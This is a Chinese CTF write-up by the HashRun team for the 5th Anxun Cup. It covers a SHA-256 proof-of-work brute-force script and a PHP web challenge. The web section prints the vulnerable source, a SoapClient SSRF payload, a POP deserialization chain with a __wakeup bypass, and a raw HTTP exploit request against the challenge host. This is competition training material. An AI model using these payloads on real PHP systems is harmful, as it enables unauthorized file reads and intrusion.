[D0g3] 第五届安洵杯wp - HashRun安全团队

第五届安洵杯WriteUp - HashRun安全团队

前言

HashRun安全团队最终排名56。

Crypto@S1gMa

知识点

$sha256$ 掩码爆破。

解题过程

$step1$ ：先 $nc$ 链接获取密文，然后根据“xxxx + 明文”,进行掩码爆破将爆破出的字符串和密文的前 $8$ 比对得到结果。

$step2$ ：头铁猜数字，直接猜就行只有 $6$ 次机会，失败了得重新 $nc$ 然后重复 $step1$ 的操作。（然后我就脸黑猜了5遍多....）

脚本：

import hashlib
dic=['Q','W','E','R','T','Y','U','I','O','A','S','D','F','G','H','J','K','P','L','Z','X','C','V','B','N','M','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0']
for a in range(len(dic)):
    for b in range(len(dic)):
        for c in range(len(dic)):
            for d in range(len(dic)):
                m = dic[a] + dic[b] + dic[c] + dic[d] + ''
                flag=hashlib.sha256(m.encode('utf-8')).hexdigest()
                if flag[0:8]=='':
                    print (flag)
                    print(dic[a],dic[b],dic[c],dic[d])

D0g3

Misc1@q1uf3ng

解题过程

打开游戏，ce速度改500，在疯狂鬼畜的上升中隐约看到一个非常臭的数字。

D0g3

RedCoast@S1gMa (待复现)

解题思路

比赛的时候犯病了。。。于是赛后队内总结交流有了如下对话：

Web1@T4x0r

解题过程

https://www.cnblogs.com/NPFS/p/14335370.html

网站源码：index.php

<?php
class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php:

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

发现flag.php文件 $new$ 了一下，需要一个类，第一个思路，$php$ 原生类，在看提示，$flag$ 在根目录,我们也是通过这个入口点进行读取，找到一个 $php$ 原生类，进行读取 $DirectoryIterator$ 。

然后 $flag$ 文件为：f1111llllllaagg。

可以利用 SoapClient 类的 __call （当调用对象中不存在的方法会自动调用此方法）方法来进行 SSRF

call_user_func函数中的参数可以是一个数组，数组中第一个元素为类名，第二个元素为类方法。

先传入 $extract()$ ，将$b覆盖成回调函数，这样题目中的 **call_user_func($b,$a)** 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ，即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法，从而触发 __call 方法发起 soap 请求进行 SSRF。
然后session反序列化，遂，构造exp：

<?php
$url = "http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

pop:

O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后传入数据包：

POST /?d0g3=php_serialize&baby=session.serialize_handler HTTP/1.1
Host: 47.108.29.107:10104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8lorqmn6i2nl32ab290gnooakc
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 320

sess=|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后访问index.php一次，在看index.php反序列化构造；

$wakeup$ 好绕过加个属性数量就 $ok$ ，接下来的思路:

$C$ 类中的$cc会触发A类的 __invoke() 魔术方法，$A$ 类的 $a$ 属性会触发 $C$ 类的 __toString 方法然后 $A$ 类方法中会调用 $uwant$ 方法，$uwant$ 方法在 $C$ 类所以 $A$ 类方法中的 $b$ 属性为 $C$ 的对象，$md5 哪些就不说了
即exp（未最终）:

<?php

class A{
    public $a;
    public $b;
}

class B{
    public $a;
    public $b;
    public $k;
}

class C{
    public $a;
    public $c;
}

$d = new A();
$e = new B();
$f = new C();
$g = new C();

$e -> a = $f;
//$d -> a = $f;
$f -> c = $d;
$d -> b = $g;
$d -> a = "0e215962017";
$g -> a = "phpinfo";
echo serialize($e);

最终：

<?php

class A{
    public $a;
    public $b;
}

class B{
    public $a;
    public $b;
    public $k;
}

class C{
    public $a;
    public $c;
}

$d = new A();
$e = new B();
$f = new C();
$g = new C();

$e -> a = $f;
//$d -> a = $f;
$f -> c = $d;
$d -> b = $g;
$d -> a = "0e215962017";
$g -> a = "www";  //随便写，只要不等于phpinfo
echo serialize($e);

这里 $phpinfo$ 可以验证是否对，跑出来给属性加加个数字即可绕过 $wakeup$ 上 $exp$ 的 $pop$ 链+ $wakeup$ 绕过：

O:1:"B":4:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"c";N;}

如果不等于 $phpinfo$ 即可进入到 call_user_func

pop:

O:1:"B":4:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"www";s:1:"c";N;}}}s:1:"b";N;s:1:"c";N;}

先对其经行 $session$ 反序列化搞定 $reset$。